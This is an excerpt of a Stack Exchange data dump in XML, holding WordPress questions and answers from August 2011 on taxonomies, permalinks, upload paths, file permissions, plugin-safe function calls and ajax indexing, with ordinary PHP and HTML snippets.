  <row Id="26048" PostTypeId="1" CreationDate="2011-08-16T15:45:43.317" Score="1" ViewCount="70" Body="&lt;p&gt;Custom taxonomies are great. I registered a bunch of new taxonomies and wrote an importer to import our hierarchical taxonomy into WordPress a la XML. The problem is one taxonomy has about 1,100 terms and browsing a checklist of 1,100 things is cruel and unusual punishment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to have a hierarchical taxonomy but use the Tag interface (search box with auto complete) instead?&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-17T08:13:15.137" Title="Use tag interface for hierarchical taxonomy?" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;wp-admin&gt;&lt;tags&gt;&lt;user-interface&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26049" PostTypeId="1" CreationDate="2011-08-16T15:50:42.663" Score="1" ViewCount="74" Body="&lt;p&gt;I've seen in various places, including the Wordpress admin and &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;on this page&lt;/a&gt;, that using string based identifiers is &quot;strongly not recommended for performance reasons&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that looking up a string in the database is slower than looking up an integer, but in my experience it's never a huge difference, assuming the slug field has a fulltext index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is there such a strong discouragement of using this method?&lt;/p&gt;&#xA;" OwnerUserId="5445" LastActivityDate="2011-08-16T16:07:12.367" Title="Is using %postname% for permalinks really that bad for performance?" Tags="&lt;permalinks&gt;&lt;slug&gt;&lt;performance&gt;" AnswerCount="2" />
  <row Id="26050" PostTypeId="2" ParentId="26016" CreationDate="2011-08-16T15:57:03.093" Score="1" ViewCount="" Body="&lt;p&gt;Based on your clarification, I would recommend something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$rating = get_post_meta( $post_id, 'ratings_users', true );&#xA;&#xA;if ( '0' &amp;lt; $rating ) {&#xA;    the_ratings();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$rating = get_post_meta( $post_id, 'ratings_users', true );&#xA;&#xA;if ( '' != $rating &amp;amp;&amp;amp; '0' != $rating ) {&#xA;    the_ratings();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I think the first method will work; and is more concise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important thing to note here is that &lt;code&gt;get_post_meta()&lt;/code&gt; returns an &lt;strong&gt;empty string&lt;/strong&gt; if the post meta value isn't set.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-16T15:57:03.093" />
  <row Id="26051" PostTypeId="2" ParentId="26049" CreationDate="2011-08-16T15:59:12.360" Score="1" ViewCount="" Body="&lt;p&gt;This is much more complex than looking up string versus integer. WordPress sifts permalink through a set of persistent regexp-based rules. And it affects logic a lot that string might be many more things than number. See &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;one of better writeups on topic for details&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practical point to know - this doesn't concern most sites, except those that have many pages (like PAGE pages, not posts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better point to know - this is all &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16687&quot; rel=&quot;nofollow&quot;&gt;getting fixed in WP 3.3&lt;/a&gt; and will be thing of the past.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-16T15:59:12.360" CommentCount="7" />
  <row Id="26052" PostTypeId="2" ParentId="26045" CreationDate="2011-08-16T16:04:47.907" Score="1" ViewCount="" Body="&lt;p&gt;Many of the examples assume you're not the only person running stuff on the server, or that suPHP or some other utility is running to make PHP run as a user other than the web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a basic Debian LAMP install, where PHP runs as the www-data user, it's safe and normal to set ownership of everything under the web server document root directory as owned by www-data:www-data with permissions 700/600 or 770/660.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue then is when you (as a user) want to put files into those directories, in which case you either need to add yourself to the www-data group (and use the second set of permissions above) or do it via sudo or as root, and remember to set the permissions later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, now that Wordpress can auto-update and auto-install plugins and themes, I just set everything to www-data:www-data and let Wordpress handle it, works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The walkthroughs that talk about setting permissions to your username assume PHP is running as you, through as I say, some other extension or Apache mod.&lt;/p&gt;&#xA;" OwnerUserId="7717" LastActivityDate="2011-08-16T16:04:47.907" CommentCount="3" />
  <row Id="26053" PostTypeId="2" ParentId="26049" CreationDate="2011-08-16T16:06:09.013" Score="0" ViewCount="" Body="&lt;p&gt;Just adding another perspective from Chris Coyier: &lt;a href=&quot;http://digwp.com/2011/06/dont-use-postname/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2011/06/dont-use-postname/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also some good feedback in the comments section from one of the WordPress developers about why it happens and what they are doing to fix it.&lt;/p&gt;&#xA;" OwnerUserId="7936" LastActivityDate="2011-08-16T16:06:09.013" CommentCount="2" />
  <row Id="26055" PostTypeId="1" CreationDate="2011-08-16T16:14:13.627" Score="0" ViewCount="24" Body="&lt;p&gt;WordPress stores all uploads in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;/uploads/year/month/&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to store featured images of my custom post type like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;/uploads/myCustomPostType/&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No date subdirectories etc. I want all the files to be EXACTLY in the same directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'd like to have these files resized before placed in the folder(I guess &lt;code&gt;set_post_thumbnail_size()&lt;/code&gt; will be good enough). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[edit]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wonder why I'm asking for that - the answer is Piecemaker I (I don't like the latest version). I want it to display images from &lt;strong&gt;Slider&lt;/strong&gt; custom post type automatically and unluckily Piecemaker takes two arguments - filename (different for every file) and file directory (the same in all cases, so images added in different months won't be displayed together). &lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-16T20:46:52.003" LastActivityDate="2011-08-16T20:46:52.003" Title="WordPress uploads directory. Featured Images storage" Tags="&lt;customization&gt;&lt;post-thumbnails&gt;&lt;uploads&gt;" />
  <row Id="26056" PostTypeId="1" CreationDate="2011-08-16T16:26:51.460" Score="0" ViewCount="14" Body="&lt;p&gt;I have 4 categories pages  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustration&#xA;Print&#xA;Web&#xA;Logo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using posts to display my work and the category pages as the catch all. On the category pages I only have the featured images showing, essentially as thumbnails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to show those thumbnails below everypost as well. So for example if you are in illustration section the thumbnails would show up at the bottom to view the rest of the work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do this by adding a widget and hardcoding the current list but that means I would have to manually updated everytime I add a post.&lt;/p&gt;&#xA;" OwnerUserId="5288" LastActivityDate="2011-08-16T16:26:51.460" Title="Category Posts and feature images as navigation" Tags="&lt;posts&gt;" />
  <row Id="26057" PostTypeId="2" ParentId="26048" CreationDate="2011-08-16T16:28:52.407" Score="1" ViewCount="" Body="&lt;p&gt;The only way i have found is to remove the default metabox and create your own, here is the code i have used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//remove default metabox&#xA;//change TAXONOMY_NAME to your taxonomy name&#xA;add_action( 'admin_menu' , 'remove_post_custom_fields' );&#xA;function remove_post_custom_fields() {&#xA;    remove_meta_box( 'TAXONOMY_NAMEdiv' , 'post' , 'normal' ); &#xA;}&#xA;&#xA;&#xA;&#xA;//add our custom meta box&#xA;add_action( 'add_meta_boxes', 'my_add_custom_box' );&#xA;&#xA; function my_add_custom_box() {&#xA;    add_meta_box( &#xA;        'myplugin_sectionid',&#xA;        __( 'My Taxonomy Section Title', 'textdomain' ),&#xA;        'tags_like_custom_tax',&#xA;        'post' &#xA;    );&#xA; }&#xA;&#xA; //call back function to display the metabox&#xA; //change TAXONOMY_NAME to your taxonomy name &#xA; function tags_like_custom_tax(){&#xA;     $tax_name = 'TAXONOMY_NAME';&#xA;     global $post;&#xA;     $taxonomy = get_taxonomy($tax_name);&#xA;     $disabled = !current_user_can($taxonomy-&amp;gt;cap-&amp;gt;assign_terms) ? 'disabled=&quot;disabled&quot;' : '';&#xA;     ?&amp;gt;&#xA;     &amp;lt;div class=&quot;tagsdiv&quot; id=&quot;&amp;lt;?php echo $tax_name; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;jaxtag&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;nojs-tags hide-if-js&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo $taxonomy-&amp;gt;labels-&amp;gt;add_or_remove_items; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;textarea name=&quot;&amp;lt;?php echo &quot;tax_input[$tax_name]&quot;; ?&amp;gt;&quot; rows=&quot;3&quot; cols=&quot;20&quot; class=&quot;the-tags&quot; id=&quot;tax-input-&amp;lt;?php echo $tax_name; ?&amp;gt;&quot; &amp;lt;?php echo $disabled; ?&amp;gt;&amp;gt;&amp;lt;?php echo get_terms_to_edit( $post-&amp;gt;ID, $tax_name ); // textarea_escaped by esc_attr() ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php if ( current_user_can($taxonomy-&amp;gt;cap-&amp;gt;assign_terms) ) { ?&amp;gt;&#xA;            &amp;lt;div class=&quot;ajaxtag hide-if-no-js&quot;&amp;gt;&#xA;                &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;new-tag-&amp;lt;?php echo $tax_name; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $box['title']; ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;taghint&quot;&amp;gt;&amp;lt;?php echo $taxonomy-&amp;gt;labels-&amp;gt;add_new_item; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;new-tag-&amp;lt;?php echo $tax_name; ?&amp;gt;&quot; name=&quot;newtag[&amp;lt;?php echo $tax_name; ?&amp;gt;]&quot; class=&quot;newtag form-input-tip&quot; size=&quot;16&quot; autocomplete=&quot;off&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;button&quot; class=&quot;button tagadd&quot; value=&quot;&amp;lt;?php esc_attr_e('Add'); ?&amp;gt;&quot; tabindex=&quot;3&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;howto&quot;&amp;gt;&amp;lt;?php echo esc_attr( $taxonomy-&amp;gt;labels-&amp;gt;separate_items_with_commas ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tagchecklist&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;          &amp;lt;?php if ( current_user_can($taxonomy-&amp;gt;cap-&amp;gt;assign_terms) ) { ?&amp;gt;&#xA;            &amp;lt;p class=&quot;hide-if-no-js&quot;&amp;gt;&amp;lt;a href=&quot;#titlediv&quot; class=&quot;tagcloud-link&quot; id=&quot;link-&amp;lt;?php echo $tax_name; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $taxonomy-&amp;gt;labels-&amp;gt;choose_from_most_used; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;          &amp;lt;?php } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for saving, you don't need to worry about it, WordPress does that for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;, I just tested it with categories and it works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8cXxt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-17T08:13:15.137" LastActivityDate="2011-08-17T08:13:15.137" CommentCount="7" />
  <row Id="26058" PostTypeId="1" CreationDate="2011-08-16T16:42:51.027" Score="-1" ViewCount="18" Body="&lt;p&gt;&lt;a href=&quot;http://tinyurl.com/3u47ova&quot; rel=&quot;nofollow&quot;&gt;http://tinyurl.com/3u47ova&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi buddies!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a project that is rally freaking me out! hehe I need to set a gallery like the one I displayed in the link, however that gallery have to be per post, I made a post type for displaying this post, however I wonder if there is a chance that regular wordpress gallery look like that? or similar, basically I need a carousel below the main image and this main image have to change according to the carousel, any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!!!&lt;/p&gt;&#xA;" OwnerUserId="4907" LastActivityDate="2011-08-16T16:42:51.027" Title="Gallery effect for Post Type like this.... any help?" Tags="&lt;gallery&gt;" CommentCount="1" />
  <row Id="26060" PostTypeId="1" CreationDate="2011-08-16T17:00:08.423" Score="-2" ViewCount="30" Body="&lt;p&gt;i'm running a wordpress free classified website and the address is &lt;a href=&quot;http://www.gosell.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://www.gosell.co.uk&lt;/a&gt; what i need is if a user from london open this url then it should be concatenated with &lt;a href=&quot;http://www.gosell.co.uk/london&quot; rel=&quot;nofollow&quot;&gt;http://www.gosell.co.uk/london&lt;/a&gt; or london.gosell.co.uk is that possible? shall i make a new function or wat? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7939" LastActivityDate="2011-08-16T20:07:00.693" Title="How is WordPress redirecting/rewriting my URL?" Tags="&lt;wp-redirect&gt;" AnswerCount="1" />
  <row Id="26061" PostTypeId="2" ParentId="26023" CreationDate="2011-08-16T17:26:18.463" Score="1" ViewCount="" Body="&lt;p&gt;If you wanted to place the message toward the bottom i'd suggest..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'post-upload-ui', 'upload_window_additions' );&#xA;function upload_window_additions() {&#xA;    echo '&amp;lt;div&amp;gt;Your content&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You found a fix whilst i was looking for you, but figured i'd still offer it anyway. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-16T17:26:18.463" />
  <row Id="26062" PostTypeId="1" AcceptedAnswerId="26067" CreationDate="2011-08-16T15:36:27.487" Score="3" ViewCount="44" Body="&lt;p&gt;I wrote a WordPress plugin that creates an admin page for deciding what posts go in a feature slider on the front page. Everything works fine and I'm simply calling to the function inside the plugin with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php uwffs_display(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the home.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that if I were to deactivate the plugin, the home page breaks at the point the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php uwffs_display(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function call occurs and stops rendering the rest of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a more graceful way I can call this plugin's function so that, if deactivated, it will load the rest of the page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thought is I could write it as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if(function_exists('uwffs_display'))&#xA;    {&#xA;    uwffs_display();&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that the best way?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2011-08-16T17:47:02.437" Title="Building a plugin that doesn't break when deactivated" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="26063" PostTypeId="2" ParentId="26062" CreationDate="2011-08-16T16:07:26.097" Score="4" ViewCount="" Body="&lt;p&gt;Yes it is.&#xA;Checking for the existence of the function in the way that you just posted is the proper way of doing this.&lt;/p&gt;&#xA;" OwnerUserId="7943" LastActivityDate="2011-08-16T16:07:26.097" />
  <row Id="26064" PostTypeId="1" AcceptedAnswerId="26074" CreationDate="2011-08-16T17:34:25.180" Score="1" ViewCount="42" Body="&lt;p&gt;What's the best practice for exposing ajax delivered content within WordPress to ensure that it's indexable by Google, etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a site where I am using the &lt;a href=&quot;http://docs.jquery.com/UI/Tabs&quot; rel=&quot;nofollow&quot;&gt;jQuery tabs control&lt;/a&gt; to display content of child pages dynamically on the parent page via ajax. Changing tabs switches between child pages and the url in the browser updates to /parent-slug/#child-slug without page refreshes. So there is no direct path to /parent-page/child-page linked in the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the functionality working as described. But Google is not going to be able to access the JavaScript loaded content. I couldn't seem to find a plugin that exposed posts using &lt;a href=&quot;http://code.google.com/web/ajaxcrawling/docs/getting-started.html&quot; rel=&quot;nofollow&quot;&gt;Google's hash bang fragments&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to make sure this content gets indexed?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-08-16T20:13:30.687" Title="How to make ajax content indexable by search engines?" Tags="&lt;ajax&gt;&lt;seo&gt;&lt;search-engines&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26065" PostTypeId="2" ParentId="26029" CreationDate="2011-08-16T17:35:12.017" Score="0" ViewCount="" Body="&lt;p&gt;The easiest solution to this is to hook your add calls on to the last action which gets fired before the rules are rebuilt during the flush process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of the flushing process is to delete the rewrite_rules option. When this happening the following actions will fire:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action( 'delete_option', $option );&#xA;do_action( &quot;delete_option_$option&quot;, $option );&#xA;do_action( 'deleted_option', $option );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: If there is no rewrite_rules option in the db then these actions are not fired so you will also need to ensure to register your rules when someone calls get_option('rewrite_rules') and it is going to return an empty string - there are similar filters in get_option you can use for this.&lt;/p&gt;&#xA;" OwnerUserId="7940" LastActivityDate="2011-08-16T17:35:12.017" />
  <row Id="26066" PostTypeId="1" AcceptedAnswerId="26157" CreationDate="2011-08-16T17:44:14.017" Score="1" ViewCount="34" Body="&lt;p&gt;I setup some hierarchical categories and when I assign them to a post the widget reflows and loses the hierarchy display. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Education Services&#xA;-- Arts &amp;amp; Archives&#xA;--- Fine Arts&#xA;-- Reference&#xA;-- Health Sciences&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When selecting &quot;Education Services&quot; &amp;amp; &quot;Reference&quot; (marked with 'x') the widget appears like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x Education Services&#xA;-x Reference&#xA;- Arts &amp;amp; Archives&#xA;-- Fine Arts&#xA;- Health Sciences&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So since the selected (top-level) parent goes to the top, all children besides the selected one look they have lost their parent (even though they actually have not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read some other forums post/support tickets but not much about this issue. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="7941" LastActivityDate="2011-08-17T15:46:01.737" Title="Categories lose hierarchy order once assigned to post" Tags="&lt;categories&gt;&lt;widgets&gt;&lt;hierarchical&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="26067" PostTypeId="2" ParentId="26062" CreationDate="2011-08-16T17:47:02.437" Score="4" ViewCount="" Body="&lt;p&gt;The other option would be to use any hooks available in the Theme, which would allow your Plugin to inject the slider at a filter or action hook. If the Plugin is deactivated, its &lt;code&gt;add_action()&lt;/code&gt; or &lt;code&gt;add_filter()&lt;/code&gt; call is never run, nothing attempts to be added to the template, and, voila: no breakage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, barring that (and since Themes that offer such custom hooks are still in the minority), &lt;code&gt;function_exists()&lt;/code&gt; wrapper is the way to go. So +1 to @rmlumley.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-16T17:47:02.437" />
  <row Id="26069" PostTypeId="1" AcceptedAnswerId="26082" CreationDate="2011-08-16T19:40:32.440" Score="0" ViewCount="27" Body="&lt;p&gt;Is there any solution for setting specific thumbnail size for any custom content type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2011-08-17T15:24:41.333" Title="Specific Thumbnail Size for Custom Content Type" Tags="&lt;custom-post-types&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="26070" PostTypeId="1" AcceptedAnswerId="26076" CreationDate="2011-08-16T19:47:03.523" Score="0" ViewCount="29" Body="&lt;p&gt;I am using the Canvas WordPress theme (by WooThemes.com) and successfully made a child-theme to override my CSS. However, I would also like to apply the same child-theme principles to my theme's &quot;includes&quot; folder which contains a variety of .php files. Any idea how I can go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="7944" LastActivityDate="2011-08-16T20:19:35.200" Title="How do I get my child-theme to work with my theme's includes folder?" Tags="&lt;theme-development&gt;&lt;child-theme&gt;" AnswerCount="1" />
  <row Id="26071" PostTypeId="1" AcceptedAnswerId="26080" CreationDate="2011-08-16T19:51:44.937" Score="1" ViewCount="55" Body="&lt;p&gt;How do you include specific pages into a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like for example on my websites main page I want to have about 3 different content areas that the client can regularly update as he needs to. &#xA;I figure maybe the best way to do this is to just nest pages into the template and he can edit the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set this up? The wordpress codex, the wordpress forum, and google have all failed to give me ANY solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a plugin that allows this but its not compatible with 3.1 and above. I dont like the idea of using a plugin anyhow, I figured that wordpress would have a simple template tag system setup for this, wrong.... PHP is probably where the answer lays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. also if you know of a better way to go about this other than using nested pages then please let me know. I'm just a wordpress noob and I figured this would be a straightforward way to accomplish the task.&lt;/p&gt;&#xA;" OwnerUserId="7945" LastActivityDate="2011-08-16T20:55:13.237" Title="Include a specific page in your template" Tags="&lt;page&gt;&lt;template&gt;&lt;include&gt;" AnswerCount="2" />
  <row Id="26072" PostTypeId="2" ParentId="26060" CreationDate="2011-08-16T20:07:00.693" Score="0" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://www.jonlee.ca/jons-geolocation-plugin/&quot; rel=&quot;nofollow&quot;&gt;wordpress maxmind plug-in&lt;/a&gt;. I've never used it myself, but it should do the heavy lifting of identifying a user's location by IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to add some functions to dictate what to do with that data in terms of redirecting visitors (the plug-in only figures out where they are). You'll probably also need to add bits to handle situations when the location isn't recognized (or isn't in the UK, for example).&lt;/p&gt;&#xA;" OwnerUserId="7695" LastActivityDate="2011-08-16T20:07:00.693" />
  <row Id="26073" PostTypeId="1" CreationDate="2011-08-16T20:11:21.980" Score="0" ViewCount="55" Body="&lt;p&gt;i dont know how to modify this code to make it work with a search form.&#xA;The template shows a list of custom post types (tpx_lit_member) and i need to filter the results by keyword and/or taxonomies.&#xA;My current code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Post type is: tpx_lit_member&#xA;//taxonomy: tpx_lit_counties&#xA;//taxonomy: tpx_lit_programtype&#xA;&#xA;$wp_query = new WP_Query();&#xA;$wp_query-&amp;gt;query('post_type=tpx_lit_member&amp;amp;showposts=4&amp;amp;paged='.$paged); &#xA;&#xA;while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post();&#xA;    $custom = get_post_custom($post-&amp;gt;ID); &#xA;    $county = $custom[&quot;_tpx_lit_member_county&quot;][0]; &#xA;    ?&amp;gt;      &#xA;    &amp;lt;div class=&quot;member-post&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php //show county taxonomy ?&amp;gt; County&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end member-post --&amp;gt;&#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i modify the results?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Updated&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;i've modified the query and now i can search by taxonomies: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query-&amp;gt;query('post_type=tpx_lit_member&amp;amp;showposts=4&amp;amp;tpx_lit_area=calhoun&amp;amp;tpx_lit_programtype=family-literacy&amp;amp;paged='.$paged); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i search by another custom field?&lt;/p&gt;&#xA;" OwnerUserId="1484" LastEditorUserId="1484" LastEditorDisplayName="" LastEditDate="2011-08-16T20:47:50.970" LastActivityDate="2011-08-16T20:47:50.970" Title="custom post type search form" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" CommentCount="3" />
  <row Id="26074" PostTypeId="2" ParentId="26064" CreationDate="2011-08-16T20:13:30.687" Score="4" ViewCount="" Body="&lt;p&gt;Any reasons you couldn't put an anchor link to the actual page in your tab control?  Then use jQuery to make sure it returns false and doesn't &quot;work&quot; for normal visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, that's what the jQuery Tabs control page suggests:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Tabs supports loading tab content via Ajax in an unobtrusive manner.&#xA;The HTML you need is slightly different from the one that is used for static tabs: A list of links pointing to existing resources (from where the content gets loaded) and no additional containers at all (unobtrusive!). The containers' markup is going to be created on the fly:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;example&quot;&amp;gt;&#xA;     &amp;lt;ul&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;ahah_1.html&quot;&amp;gt;&amp;lt;span&amp;gt;Content 1&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;ahah_2.html&quot;&amp;gt;&amp;lt;span&amp;gt;Content 2&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;&amp;lt;a href=&quot;ahah_3.html&quot;&amp;gt;&amp;lt;span&amp;gt;Content 3&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Obviously this degrades gracefully - the links, e.g. the content, will still be accessible with JavaScript disabled.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are links there, a bot will follow them. You should also be using a sitemap, which will help a bot find all pages on your site.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-16T20:13:30.687" CommentCount="1" />
